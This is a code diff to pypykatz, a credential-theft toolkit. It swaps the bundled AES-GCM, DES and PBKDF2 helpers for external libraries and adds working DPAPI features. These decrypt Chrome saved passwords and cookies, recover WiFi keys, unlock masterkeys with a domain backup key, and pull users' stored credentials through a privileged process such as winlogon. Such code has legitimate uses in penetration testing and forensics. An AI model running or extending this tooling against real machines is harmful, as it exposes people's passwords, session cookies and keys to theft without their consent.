183
184 return plaintext
185
186
187 if __name__ == '__main__':
188 master_key = bytes.fromhex('feffe9928665731c6d6a8f9467308308')
189 plaintext = b'\xd9\x31\x32\x25\xf8\x84\x06\xe5' + \
190 b'\xa5\x59\x09\xc5\xaf\xf5\x26\x9a' + \
191 b'\x86\xa7\xa9\x53\x15\x34\xf7\xda' + \
192 b'\x2e\x4c\x30\x3d\x8a\x31\x8a\x72' + \
193 b'\x1c\x3c\x0c\x95\x95\x68\x09\x53' + \
194 b'\x2f\xcf\x0e\x24\x49\xa6\xb5\x25' + \
195 b'\xb1\x6a\xed\xf5\xaa\x0d\xe6\x57' + \
196 b'\xba\x63\x7b\x39'
197 auth_data = b'\xfe\xed\xfa\xce\xde\xad\xbe\xef' + \
198 b'\xfe\xed\xfa\xce\xde\xad\xbe\xef' + \
199 b'\xab\xad\xda\xd2'
200 init_value = bytes.fromhex('cafebabefacedbaddecaf888')
201 ciphertext = b'\x42\x83\x1e\xc2\x21\x77\x74\x24' + \
202 b'\x4b\x72\x21\xb7\x84\xd0\xd4\x9c' + \
203 b'\xe3\xaa\x21\x2f\x2c\x02\xa4\xe0' + \
204 b'\x35\xc1\x7e\x23\x29\xac\xa1\x2e' + \
205 b'\x21\xd5\x14\xb2\x54\x66\x93\x1c' + \
206 b'\x7d\x8f\x6a\x5a\xac\x84\xaa\x05' + \
207 b'\x1b\xa3\x0b\x39\x6a\x0a\xac\x97' + \
208 b'\x3d\x58\xe0\x91'
209 auth_tag = bytes.fromhex('5bc94fbc3221a5db94fae95ae7121a47')
210
211 print('plaintext:', plaintext.hex())
212
213 my_gcm = AES_GCM(master_key)
214 encrypted, new_tag = my_gcm.encrypt(init_value, plaintext, auth_data)
215 print('encrypted:', encrypted.hex())
216 print('auth tag: ', new_tag.hex())
217
218 assert encrypted == bytes.fromhex('42831ec2217774244b7221b784d0d49ce3aa212f2c02a4e035c17e2329aca12e21d514b25466931c7d8f6a5aac84aa051ba30b396a0aac973d58e091')
219 assert new_tag == bytes.fromhex('5bc94fbc3221a5db94fae95ae7121a47')
220
221 decrypted = my_gcm.decrypt(init_value, encrypted, new_tag, auth_data)
222 print('decrypted:', decrypted.hex())
223
224
225 #new_tag = int.from_bytes(new_tag, byteorder='big', signed=False)
226 #try:
227 # decrypted = my_gcm.decrypt(init_value, encrypted, new_tag + 1, auth_data)
228 #except InvalidTagException:
229
230
+0
-11
pypykatz/crypto/unified/common.py less more
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6 import enum
7
8 class SYMMETRIC_MODE(enum.Enum):
9 ECB = 0
10 CBC = 1
+0
-35
pypykatz/crypto/unified/des.py less more
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6 from pypykatz.crypto.des import des, ECB, CBC, expand_DES_key
7 from pypykatz.crypto.unified.common import SYMMETRIC_MODE
8
9
10 class DES:
11 def __init__(self, key, mode = SYMMETRIC_MODE.ECB, iv = None):
12 self.key = key
13 self.mode = mode
14 self.iv = iv
15 self.block_size = 8
16 self.ctx = None
17 self.setup()
18
19 def setup(self):
20 if len(self.key) == 7:
21 self.key = expand_DES_key(self.key)
22
23 if self.mode == SYMMETRIC_MODE.ECB:
24 self.ctx = des(self.key, mode = ECB)
25 elif self.mode == SYMMETRIC_MODE.CBC:
26 self.ctx = des(self.key, mode = CBC, IV = self.iv)
27 else:
28 raise Exception('Unknown mode!')
29
30 def encrypt(self, data):
31 return self.ctx.encrypt(data)
32
33 def decrypt(self, data):
34 return self.ctx.decrypt(data)
+0
-32
pypykatz/crypto/unified/des3.py less more
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6 from pypykatz.crypto.des import triple_des, ECB, CBC
7 from pypykatz.crypto.unified.common import SYMMETRIC_MODE
8
9
10 class DES3:
11 def __init__(self, key, mode = SYMMETRIC_MODE.ECB, iv = None):
12 self.key = key
13 self.mode = mode
14 self.iv = iv
15 self.block_size = 8
16 self.ctx = None
17 self.setup()
18
19 def setup(self):
20 if self.mode == SYMMETRIC_MODE.ECB:
21 self.ctx = triple_des(self.key, mode = ECB)
22 elif self.mode == SYMMETRIC_MODE.CBC:
23 self.ctx = triple_des(self.key, mode = CBC, IV = self.iv)
24 else:
25 raise Exception('Unknown mode!')
26
27 def encrypt(self, data):
28 return self.ctx.encrypt(data)
29
30 def decrypt(self, data):
31 return self.ctx.decrypt(data)
+0
-225
pypykatz/crypto/unified/gcmtest.py less more
0 #!/usr/bin/env python
1
2 """
3 Copyright (C) 2013 Bo Zhu http://about.bozhu.me
4
5 Permission is hereby granted, free of charge, to any person obtaining a
6 copy of this software and associated documentation files (the "Software"),
7 to deal in the Software without restriction, including without limitation
8 the rights to use, copy, modify, merge, publish, distribute, sublicense,
9 and/or sell copies of the Software, and to permit persons to whom the
10 Software is furnished to do so, subject to the following conditions:
11
12 The above copyright notice and this permission notice shall be included in
13 all copies or substantial portions of the Software.
14
15 THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
18 THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
20 FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
21 DEALINGS IN THE SOFTWARE.
22 """
23
24 from Crypto.Cipher import AES
25 from Crypto.Util import Counter
26 from Crypto.Util.number import long_to_bytes, bytes_to_long
27
28
29 # GF(2^128) defined by 1 + a + a^2 + a^7 + a^128
30 # Please note the MSB is x0 and LSB is x127
31 def gf_2_128_mul(x, y):
32 assert x < (1 << 128)
33 assert y < (1 << 128)
34 res = 0
35 for i in range(127, -1, -1):
36 res ^= x * ((y >> i) & 1) # branchless
37 x = (x >> 1) ^ ((x & 1) * 0xE1000000000000000000000000000000)
38 assert res < 1 << 128
39 return res
40
41
42 class InvalidInputException(Exception):
43 def __init__(self, msg):
44 self.msg = msg
45
46 def __str__(self):
47 return str(self.msg)
48
49
50 class InvalidTagException(Exception):
51 def __str__(self):
52 return 'The authenticaiton tag is invalid.'
53
54
55 # Galois/Counter Mode with AES-128 and 96-bit IV
56 class AES_GCM:
57 def __init__(self, master_key):
58 self.change_key(master_key)
59
60 def change_key(self, master_key):
61 if master_key >= (1 << 128):
62 raise InvalidInputException('Master key should be 128-bit')
63
64 self.__master_key = long_to_bytes(master_key, 16)
65 self.__aes_ecb = AES.new(self.__master_key, AES.MODE_ECB)
66 self.__auth_key = bytes_to_long(self.__aes_ecb.encrypt(b'\x00' * 16))
67
68 # precompute the table for multiplication in finite field
69 table = [] # for 8-bit
70 for i in range(16):
71 row = []
72 for j in range(256):
73 row.append(gf_2_128_mul(self.__auth_key, j << (8 * i)))
74 table.append(tuple(row))
75 self.__pre_table = tuple(table)
76
77 self.prev_init_value = None # reset
78
79 def __times_auth_key(self, val):
80 res = 0
81 for i in range(16):
82 res ^= self.__pre_table[i][val & 0xFF]
83 val >>= 8
84 return res
85
86 def __ghash(self, aad, txt):
87 len_aad = len(aad)
88 len_txt = len(txt)
89
90 # padding
91 if 0 == len_aad % 16:
92 data = aad
93 else:
94 data = aad + b'\x00' * (16 - len_aad % 16)
95 if 0 == len_txt % 16:
96 data += txt
97 else:
98 data += txt + b'\x00' * (16 - len_txt % 16)
99
100 tag = 0
101 assert len(data) % 16 == 0
102 for i in range(len(data) // 16):
103 tag ^= bytes_to_long(data[i * 16: (i + 1) * 16])
104 tag = self.__times_auth_key(tag)
105 # print 'X\t', hex(tag)
106 tag ^= ((8 * len_aad) << 64) | (8 * len_txt)
107 tag = self.__times_auth_key(tag)
108
109 return tag
110
111 def encrypt(self, init_value, plaintext, auth_data=b''):
112 if init_value >= (1 << 96):
113 raise InvalidInputException('IV should be 96-bit')
114 # a naive checking for IV reuse
115 if init_value == self.prev_init_value:
116 raise InvalidInputException('IV must not be reused!')
117 self.prev_init_value = init_value
118
119 len_plaintext = len(plaintext)
120 # len_auth_data = len(auth_data)
121
122 if len_plaintext > 0:
123 counter = Counter.new(
124 nbits=32,
125 prefix=long_to_bytes(init_value, 12),
126 initial_value=2, # notice this
127 allow_wraparound=False)
128 aes_ctr = AES.new(self.__master_key, AES.MODE_CTR, counter=counter)
129
130 if 0 != len_plaintext % 16:
131 padded_plaintext = plaintext + \
132 b'\x00' * (16 - len_plaintext % 16)
133 else:
134 padded_plaintext = plaintext
135 ciphertext = aes_ctr.encrypt(padded_plaintext)[:len_plaintext]
136
137 else:
138 ciphertext = b''
139
140 auth_tag = self.__ghash(auth_data, ciphertext)
141 print('auth_tag original: %s' % auth_tag.to_bytes(16, byteorder='big', signed=False).hex())
142 # print 'GHASH\t', hex(auth_tag)
143 auth_tag ^= bytes_to_long(self.__aes_ecb.encrypt(
144 long_to_bytes((init_value << 32) | 1, 16)))
145
146 # assert len(ciphertext) == len(plaintext)
147 assert auth_tag < (1 << 128)
148 return ciphertext, auth_tag
149
150 def decrypt(self, init_value, ciphertext, auth_tag, auth_data=b''):
151 if init_value >= (1 << 96):
152 raise InvalidInputException('IV should be 96-bit')
153 if auth_tag >= (1 << 128):
154 raise InvalidInputException('Tag should be 128-bit')
155
156 print(long_to_bytes((init_value << 32) | 1, 16))
157 print(self.__aes_ecb.encrypt(long_to_bytes((init_value << 32) | 1, 16)))
158 print('ghash %s' % self.__ghash(auth_data, ciphertext))
159 print('')
160 if auth_tag != self.__ghash(auth_data, ciphertext) ^ \
161 bytes_to_long(self.__aes_ecb.encrypt(
162 long_to_bytes((init_value << 32) | 1, 16))):
163 raise InvalidTagException
164
165 len_ciphertext = len(ciphertext)
166 if len_ciphertext > 0:
167 counter = Counter.new(
168 nbits=32,
169 prefix=long_to_bytes(init_value, 12),
170 initial_value=2,
171 allow_wraparound=True)
172 aes_ctr = AES.new(self.__master_key, AES.MODE_CTR, counter=counter)
173
174 if 0 != len_ciphertext % 16:
175 padded_ciphertext = ciphertext + \
176 b'\x00' * (16 - len_ciphertext % 16)
177 else:
178 padded_ciphertext = ciphertext
179 plaintext = aes_ctr.decrypt(padded_ciphertext)[:len_ciphertext]
180
181 else:
182 plaintext = b''
183
184 return plaintext
185
186
187 if __name__ == '__main__':
188 master_key = 0xfeffe9928665731c6d6a8f9467308308
189 plaintext = b'\xd9\x31\x32\x25\xf8\x84\x06\xe5' + \
190 b'\xa5\x59\x09\xc5\xaf\xf5\x26\x9a' + \
191 b'\x86\xa7\xa9\x53\x15\x34\xf7\xda' + \
192 b'\x2e\x4c\x30\x3d\x8a\x31\x8a\x72' + \
193 b'\x1c\x3c\x0c\x95\x95\x68\x09\x53' + \
194 b'\x2f\xcf\x0e\x24\x49\xa6\xb5\x25' + \
195 b'\xb1\x6a\xed\xf5\xaa\x0d\xe6\x57' + \
196 b'\xba\x63\x7b\x39'
197 auth_data = b'\xfe\xed\xfa\xce\xde\xad\xbe\xef' + \
198 b'\xfe\xed\xfa\xce\xde\xad\xbe\xef' + \
199 b'\xab\xad\xda\xd2'
200 init_value = 0xcafebabefacedbaddecaf888
201 ciphertext = b'\x42\x83\x1e\xc2\x21\x77\x74\x24' + \
202 b'\x4b\x72\x21\xb7\x84\xd0\xd4\x9c' + \
203 b'\xe3\xaa\x21\x2f\x2c\x02\xa4\xe0' + \
204 b'\x35\xc1\x7e\x23\x29\xac\xa1\x2e' + \
205 b'\x21\xd5\x14\xb2\x54\x66\x93\x1c' + \
206 b'\x7d\x8f\x6a\x5a\xac\x84\xaa\x05' + \
207 b'\x1b\xa3\x0b\x39\x6a\x0a\xac\x97' + \
208 b'\x3d\x58\xe0\x91'
209 auth_tag = 0x5bc94fbc3221a5db94fae95ae7121a47
210
211 print('plaintext:', hex(bytes_to_long(plaintext)))
212
213 my_gcm = AES_GCM(master_key)
214 encrypted, new_tag = my_gcm.encrypt(init_value, plaintext, auth_data)
215 print('encrypted:', hex(bytes_to_long(encrypted)))
216 print('auth tag: ', hex(new_tag))
217
218 try:
219 decrypted = my_gcm.decrypt(init_value, encrypted,
220 new_tag + 1, auth_data)
221 except InvalidTagException:
222 decrypted = my_gcm.decrypt(init_value, encrypted, new_tag, auth_data)
223 print('decrypted:', hex(bytes_to_long(decrypted)))
224
+0
-45
pypykatz/crypto/unified/pbkdf2.py less more
0
1 #https://codereview.stackexchange.com/questions/87538/python-pbkdf2-using-core-modules
2 import hmac
3 import struct
4 import hashlib
5
6 def pbkdf2(password, salt, iters, keylen, digestmod = hashlib.sha1):
7 """Run the PBKDF2 (Password-Based Key Derivation Function 2) algorithm
8 and return the derived key. The arguments are:
9
10 password (bytes or bytearray) -- the input password
11 salt (bytes or bytearray) -- a cryptographic salt
12 iters (int) -- number of iterations
13 keylen (int) -- length of key to derive
14 digestmod -- a cryptographic hash function: either a module
15 supporting PEP 247, a hashlib constructor, or (in Python 3.4
16 or later) the name of a hash function.
17
18 For example:
19
20 >>> import hashlib
21 >>> from binascii import hexlify, unhexlify
22 >>> password = b'Squeamish Ossifrage'
23 >>> salt = unhexlify(b'1234567878563412')
24 >>> hexlify(pbkdf2(password, salt, 500, 16, hashlib.sha1))
25 b'9e8f1072bdf5ef042bd988c7da83e43b'
26
27 """
28 h = hmac.new(password, digestmod=digestmod)
29 def prf(data):
30 hm = h.copy()
31 hm.update(data)
32 return bytearray(hm.digest())
33
34 key = bytearray()
35 i = 1
36 while len(key) < keylen:
37 T = U = prf(salt + struct.pack('>i', i))
38 for _ in range(iters - 1):
39 U = prf(U)
40 T = bytearray(x ^ y for x, y in zip(T, U))
41 key += T
42 i += 1
43
44 return key[:keylen]
+0
-26
pypykatz/crypto/unified/pkcs7.py less more
0
1
2 # https://gist.github.com/adoc/8550490
3 def unpad(bytestring, k=16):
4 """
5 Remove the PKCS#7 padding from a text bytestring.
6 """
7
8 val = bytestring[-1]
9 if val > k:
10 raise ValueError('Input is not padded or padding is corrupt')
11 l = len(bytestring) - val
12 return bytestring[:l]
13
14
15 ## @param bytestring The text to encode.
16 ## @param k The padding block size.
17 # @return bytestring The padded bytestring.
18 def pad(bytestring, k=16):
19 """
20 Pad an input bytestring according to PKCS#7
21
22 """
23 l = len(bytestring)
24 val = k - (l % k)
25 return bytestring + bytearray([val] * val)
00 from pypykatz.commons.common import UniversalEncoder, hexdump
11 import argparse
22 import platform
3
4 from pypykatz.dpapi.structures.blob import DPAPI_BLOB
5 from pypykatz.dpapi.structures.credentialfile import CredentialFile
6 from pypykatz.dpapi.structures.masterkeyfile import MasterKeyFile
7 from pypykatz.dpapi.structures.vault import VAULT_VPOL
8 from winacl.dtyp.wcee.pvkfile import PVKFile
39
410
511 class DPAPICMDHelper:
4450 live_wifi_parser = live_dpapi_subparsers.add_parser('wifi', help = '[ADMIN ONLY] Decrypt stored WIFI passwords')
4551 live_chrome_parser = live_dpapi_subparsers.add_parser('chrome', help = '[ADMIN ONLY] !TAKES SUPER-LONG! Decrypt all chrome passwords for all users (admin) or for the current user.')
4652
53 live_tcap_parser = live_dpapi_subparsers.add_parser('tcap', help = '[ADMIN ONLY] Obtains users stored DPAPI creds via SeTrustedCredmanAccessPrivilege')
54 live_tcap_parser.add_argument('targetpid', type=int, help= 'PID of the process of the target user.')
55 live_tcap_parser.add_argument('--source', default = 'winlogon.exe', help= 'A process that has SeTrustedCredmanAccessPrivilege')
56 live_tcap_parser.add_argument('--tempfile', help= 'PID of the process of the target user')
57 live_tcap_parser.add_argument('-o', '--outfile', help= 'Output file name')
4758
4859 live_parser.add_parser('dpapi', help='DPAPI (live) related commands. This will use winAPI to decrypt secrets using the current user context.', parents=[live_subcommand_parser])
4960
8899 dpapi_masterkey_group.add_argument('prekey', help= 'Path to prekey file, which has multiple decryption key candidates')
89100 dpapi_masterkey_group.add_argument('-o', '--out-file', help= 'Master and Backup keys will be stored in this file. Easier to handle in other commands.')
90101
102 dpapi_masterkeypvk_group = dpapi_subparsers.add_parser('masterkeypvk', help='Decrypt masterkey file with PVK file')
103 dpapi_masterkeypvk_group.add_argument('masterkeyfile', help='path to masterkey file')
104 dpapi_masterkeypvk_group.add_argument('pvkfile', help= 'Path to prekey file, which has multiple decryption key candidates')
105 dpapi_masterkeypvk_group.add_argument('-o', '--out-file', help= 'Master and Backup keys will be stored in this file. Easier to handle in other commands.')
106
91107
92108 dpapi_credential_group = dpapi_subparsers.add_parser('credential', help='Decrypt credential file')
93109 dpapi_credential_group.add_argument('mkf', help= 'Keyfile generated by the masterkey -o command.')
109125 dpapi_blob_group = dpapi_subparsers.add_parser('blob', help='Decrypt blob')
110126 dpapi_blob_group.add_argument('mkf', help= 'Keyfile generated by the masterkey -o command.')
111127 dpapi_blob_group.add_argument('blob', help='path to blob file (hex data expected!), or the blob in hex form')
128
129 dpapi_chrome_group = dpapi_subparsers.add_parser('chrome', help='Decrypt Google Chrome secrets')
130 dpapi_chrome_group.add_argument('mkf', help= 'Keyfile generated by the masterkey -o command.')
131 dpapi_chrome_group.add_argument('localstate', help='Local State file')
132 dpapi_chrome_group.add_argument('--logindata', help='Login Data file')
133 dpapi_chrome_group.add_argument('--cookies', help='Cookies file')
134
135 dpapi_wifi_group = dpapi_subparsers.add_parser('wifi', help='Decrypt Windows WIFI config file')
136 dpapi_wifi_group.add_argument('mkf', help= 'Keyfile generated by the masterkey -o command.')
137 dpapi_wifi_group.add_argument('wifixml', help='WIFI config XML file')
138
139 dpapi_describe_group = dpapi_subparsers.add_parser('describe', help='Print information on given structure')
140 dpapi_describe_group.add_argument('datatype', choices = ['blob', 'masterkey', 'pvk', 'vpol', 'credential'], help= 'Type of structure')
141 dpapi_describe_group.add_argument('data', help='filepath or hex-encoded data')
142
112143
113144 def execute(self, args):
114145 if len(self.keywords) > 0 and args.command in self.keywords:
143174 dpapi.get_prekeys_from_password(args.sid, password = pw)
144175
145176 elif args.prekey_command == 'nt':
146 if args.nt is None or args.sid is None:
177 if args.nthash is None or args.sid is None:
147178 raise Exception('NT hash and SID must be specified for generating prekey in this mode')
148179
149 dpapi.get_prekeys_from_password(args.sid, nt_hash = args.nt)
180 dpapi.get_prekeys_from_password(args.sid, nt_hash = args.nthash)
150181
151182
152183 dpapi.dump_pre_keys(args.out_file)
158189
159190 dpapi.get_masterkeys_from_lsass_dump(args.minidumpfile)
160191 dpapi.dump_masterkeys(args.out_file)
161 dpapi.dump_pre_keys(args.out_file + '_prekeys')
192 if args.out_file is not None:
193 dpapi.dump_pre_keys(args.out_file + '_prekeys')
194 else:
195 dpapi.dump_pre_keys()
162196
163197
164198 elif args.dapi_module == 'masterkey':
165 if args.key is None and args.prekey is None:
199 if args.prekey is None:
166200 raise Exception('Etieher KEY or path to prekey file must be supplied!')
167201
168 if args.prekey:
169 dpapi.load_prekeys(args.prekey)
170 dpapi.decrypt_masterkey_file(args.mkf)
171
172 if args.key:
173 dpapi.decrypt_masterkey_file(args.mkf, bytes.fromhex(args.key))
202 dpapi.load_prekeys(args.prekey)
203 dpapi.decrypt_masterkey_file(args.masterkeyfile)
174204
175205 if len(dpapi.masterkeys) == 0 and len(dpapi.backupkeys) == 0:
176206 print('Failed to decrypt the masterkeyfile!')
177207 return
178208
179209 dpapi.dump_masterkeys(args.out_file)
210
211 elif args.dapi_module == 'masterkeypvk':
212 dpapi.decrypt_masterkey_file_with_pvk(args.masterkeyfile, args.pvkfile)
213
214 if len(dpapi.masterkeys) == 0 and len(dpapi.backupkeys) == 0:
215 print('Failed to decrypt the masterkeyfile!')
216 return
217
218 dpapi.dump_masterkeys(args.out_file)
219
180220
181221 elif args.dapi_module == 'credential':
182222 dpapi.load_masterkeys(args.mkf)
222262 dpapi.load_masterkeys(args.mkf)
223263
224264 try:
225 bytes.fromhex(args.securestring)
265 bytes.fromhex(args.blob)
226266 except Exception as e:
227267 print('Error! %s' %e)
228 dec_sec = dpapi.decrypt_securestring_file(args.securestring)
229 else:
230 dec_sec = dpapi.decrypt_securestring_hex(args.securestring)
268 dec_sec = dpapi.decrypt_securestring_file(args.blob)
269 else:
270 dec_sec = dpapi.decrypt_securestring_hex(args.blob)
231271
232272 print('HEX: %s' % dec_sec.hex())
233273 print('STR: %s' % dec_sec.decode('utf-16-le'))
234
235
274
275 elif args.dapi_module == 'chrome':
276 dpapi.load_masterkeys(args.mkf)
277 db_paths = {}
278 db_paths['pypykatz'] = {}
279 db_paths['pypykatz']['localstate'] = args.localstate
280 if args.cookies is not None:
281 db_paths['pypykatz']['cookies'] = args.cookies
282 if args.logindata is not None:
283 db_paths['pypykatz']['logindata'] = args.logindata
284
285 res = dpapi.decrypt_all_chrome(db_paths, throw=False)
286 for file_path, url, user, password in res['logins']:
287 print('file: %s user: %s pass: %s url: %s' % (file_path, user, password, url))
288 for file_path, host_key, name, path, value in res['cookies']:
289 print('file: %s host_key: %s name: %s path: %s value: %s' % (file_path, host_key, name, path, value))
290
291 elif args.dapi_module == 'wifi':
292 dpapi.load_masterkeys(args.mkf)
293 wificonfig_enc = DPAPI.parse_wifi_config_file(args.wifixml)
294 wificonfig = dpapi.decrypt_wifi_config_file_inner(wificonfig_enc)
295 print('%s : %s' % (wificonfig['name'], wificonfig['key']))
296
297 elif args.dapi_module == 'describe':
298 def read_file_or_hex(x):
299 data = None
300 try:
301 with open(x, 'rb') as f:
302 data=f.read()
303 except:
304 data = bytes.fromhex(x)
305 return data
306
307 try:
308 data = read_file_or_hex(args.data)
309 except:
310 raise Exception('Could not load data!')
311 if args.datatype.upper() == 'BLOB':
312 res = DPAPI_BLOB.from_bytes(data)
313 elif args.datatype.upper() == 'MASTERKEY':
314 res = MasterKeyFile.from_bytes(data)
315 elif args.datatype.upper() == 'VPOL':
316 res = VAULT_VPOL.from_bytes(data)
317 elif args.datatype.upper() == 'PVK':
318 res = PVKFile.from_bytes(data)
319 elif args.datatype.upper() == 'CREDENTIAL':
320 res = CredentialFile.from_bytes(data)
321 else:
322 raise Exception('Unknown data format %s' % args.datatype)
323 print(str(res))
236324
237325 def run_live(self, args):
238326 if platform.system().lower() != 'windows':
239327 raise Exception('Live commands only work on Windows!')
328
329 if args.livedpapicommand == 'tcap':
330 from pypykatz.dpapi.extras import dpapi_trustedcredman
331
332 rawdata, creds, err = dpapi_trustedcredman(args.targetpid, args.source, args.tempfile)
333 if err is not None:
334 print(err)
335 return
336
337 if args.outfile is not None:
338 with open(args.outfile, 'w') as f:
339 for cred in creds:
340 f.write(cred.to_text() + '\r\n')
341 else:
342 for cred in creds:
343 print(cred.to_text())
344 return
240345
241346 from pypykatz.dpapi.dpapi import DPAPI
242347 dpapi = DPAPI(use_winapi=True)
33 # https://doxygen.reactos.org/d7/d4a/wincrypt_8h.html
44 # impacket dpapi.py
55
6 from hashlib import sha1 as SHA1
7 from hashlib import sha512 as SHA512
8 from pypykatz.crypto.unified.aes import AES
9 from pypykatz.crypto.unified.des3 import DES3
10 from pypykatz.crypto.unified.common import SYMMETRIC_MODE
6 from unicrypto.hashlib import sha1 as SHA1
7 from unicrypto.hashlib import sha512 as SHA512
8 from unicrypto.symmetric import AES, MODE_CBC
9 from unicrypto.symmetric import TDES as DES3
1110
1211
1312 # Algorithm classes
151150 # Algorithm: key/SaltLen, CryptHashModule, Mode, IVLen, BlockSize
152151 ALGORITHMS.CALG_SHA: (160//8, SHA1, None, None, 512//8),
153152 ALGORITHMS.CALG_HMAC: (160//8, SHA512, None, None, 512//8),
154 ALGORITHMS.CALG_3DES: (192//8, DES3, SYMMETRIC_MODE.CBC, 64//8),
153 ALGORITHMS.CALG_3DES: (192//8, DES3, MODE_CBC, 64//8),
155154 ALGORITHMS.CALG_SHA_512: (128//8, SHA512, None, None, 1024//8),
156 ALGORITHMS.CALG_AES_256: (256//8, AES, SYMMETRIC_MODE.CBC,128//8), #CBC is already in the object...
155 ALGORITHMS.CALG_AES_256: (256//8, AES, MODE_CBC,128//8), #CBC is already in the object...
157156 }
158157
159158
11 #
22 # Author:
33 # Tamas Jos (@skelsec)
4 #
5 # Kudos:
6 # Processus Thief (@ProcessusT)
7 #
48 #
59
610 import os
711 import ntpath
812 import json
913 import hmac
10 import hashlib
1114 import glob
1215 import sqlite3
1316 import base64
1417 import platform
1518 from hashlib import sha1, pbkdf2_hmac
19
1620 import xml.etree.ElementTree as ET
1721
1822 from pypykatz import logger
2024 from pypykatz.dpapi.structures.credentialfile import CredentialFile, CREDENTIAL_BLOB
2125 from pypykatz.dpapi.structures.blob import DPAPI_BLOB
2226 from pypykatz.dpapi.structures.vault import VAULT_VCRD, VAULT_VPOL, VAULT_VPOL_KEYS
23
24 from pypykatz.crypto.unified.aes import AES
25 from pypykatz.crypto.unified.aesgcm import AES_GCM
26 from pypykatz.crypto.unified.common import SYMMETRIC_MODE
27 from unicrypto.hashlib import md4 as MD4
28 from unicrypto.symmetric import AES, MODE_GCM, MODE_CBC
29 from winacl.dtyp.wcee.pvkfile import PVKFile
2730 from pypykatz.commons.common import UniversalEncoder
31
32
33 from cryptography.hazmat.primitives.asymmetric.padding import PKCS1v15
34
2835
2936 if platform.system().lower() == 'windows':
3037 from pypykatz.commons.winapi.processmanipulator import ProcessManipulator
111118 f.write(x.hex() + '\r\n')
112119
113120 def load_prekeys(self, filename):
114 with open(filename, 'r') as f:
115 for line in f:
116 line = line.strip()
117 self.prekeys[bytes.fromhex(line)] = 1
121 try:
122 open(filename, 'r')
123 except Exception as e:
124 key = bytes.fromhex(filename)
125 self.prekeys[key] = 1
126 return
127 else:
128 with open(filename, 'r') as f:
129 for line in f:
130 line = line.strip()
131 self.prekeys[bytes.fromhex(line)] = 1
118132
119133 def dump_masterkeys(self, filename = None):
120134 if filename is None:
157171 key1 = None
158172
159173 if password or password == '':
160 md4 = hashlib.new('md4')
161 md4.update(password.encode('utf-16le'))
162 nt_hash = md4.digest()
174 ctx = MD4(password.encode('utf-16le'))
175 nt_hash = ctx.digest()
176
163177 # Will generate two keys, one with SHA1 and another with MD4
164178 key1 = hmac.new(sha1(password.encode('utf-16le')).digest(), (sid + '\0').encode('utf-16le'), sha1).digest()
165179
327341 self.prekeys[bytes.fromhex(shahex)] = 1
328342
329343 return self.masterkeys
344
345 def decrypt_masterkey_file_with_pvk(self, mkffile, pvkfile):
346 """
347 Decrypting the masterkeyfile using the domain backup key in .pvk format
348 """
349 with open(mkffile, 'rb') as fp:
350 data = fp.read()
351 mkf = MasterKeyFile.from_bytes(data)
352 dk = mkf.domainkey.secret
353 privkey = PVKFile.from_file(pvkfile).get_key()
354 decdk = privkey.decrypt(dk[::-1], PKCS1v15())
355 secret = decdk[8:72] # TODO: proper file format would be good here!!!
356 self.masterkeys[mkf.guid] = secret
357 return self.masterkeys
330358
331359 def decrypt_masterkey_file(self, file_path, key = None):
332360 """
346374 returns: touple of dictionaries. [0] - > masterkey[guid] = key, [1] - > backupkey[guid] = key
347375 """
348376 mkf = MasterKeyFile.from_bytes(data)
349
350377 mks = {}
351378 bks = {}
352379 if mkf.masterkey is not None:
477504 def decrypt_attr(attr, key):
478505 if attr.data is not None:
479506 if attr.iv is not None:
480 cipher = AES(key, SYMMETRIC_MODE.CBC, iv=attr.iv)
507 cipher = AES(key, MODE_CBC, attr.iv)
481508 else:
482 cipher = AES(key, SYMMETRIC_MODE.CBC, iv=b'\x00'*16)
509 cipher = AES(key, MODE_CBC, b'\x00'*16)
483510
484511 cleartext = cipher.decrypt(attr.data)
485512 return cleartext
631658 return db_paths
632659
633660 @staticmethod
634 def get_chrome_encrypted_secret(db_path):
661 def get_chrome_encrypted_secret(db_path, dbtype):
635662 results = {}
636663 results['logins'] = []
637664 results['cookies'] = []
644671 logger.debug('Failed to open chrome DB file %s' % db_path)
645672 return results
646673
647 if ntpath.basename(db_path).lower() == 'cookies':
674 if dbtype.lower() == 'cookies':
648675 try:
649676 #totally not stolen from here https://github.com/byt3bl33d3r/chrome-decrypter/blob/master/chrome_decrypt.py
650677 cursor.execute('SELECT host_key, name, path, encrypted_value FROM cookies')
655682 for host_key, name, path, encrypted_value in cursor.fetchall():
656683 results['cookies'].append((host_key, name, path, encrypted_value))
657684
658 elif ntpath.basename(db_path).lower() == 'login data':
685 elif dbtype.lower() == 'logindata':
659686
660687 try:
661688 #totally not stolen from here https://github.com/byt3bl33d3r/chrome-decrypter/blob/master/chrome_decrypt.py
670697 return results
671698
672699 def decrypt_all_chrome_live(self):
700 dbpaths = DPAPI.find_chrome_database_file_live()
701 return self.decrypt_all_chrome(dbpaths)
702
703
704 def decrypt_all_chrome(self, dbpaths, throw = False):
705 from unicrypto import use_library, get_cipher_by_name
706 AES = get_cipher_by_name('AES', 'cryptography')
707
673708 results = {}
674709 results['logins'] = []
675710 results['cookies'] = []
711 results['fmtcookies'] = []
676712 localstate_dec = None
677713
678 dbpaths = DPAPI.find_chrome_database_file_live()
679714 for username in dbpaths:
680715 if 'localstate' in dbpaths[username]:
681716 with open(dbpaths[username]['localstate'], 'r') as f:
682717 encrypted_key = json.load(f)['os_crypt']['encrypted_key']
683718 encrypted_key = base64.b64decode(encrypted_key)
684719
685 localstate_dec = self.decrypt_blob_bytes(encrypted_key[5:])
686
720 try:
721 localstate_dec = self.decrypt_blob_bytes(encrypted_key[5:])
722 except:
723 if throw is True:
724 raise Exception('LocalState decryption failed!')
725 # this localstate was encrypted for another user...
726 continue
687727 if 'cookies' in dbpaths[username]:
688 secrets = DPAPI.get_chrome_encrypted_secret(dbpaths[username]['cookies'])
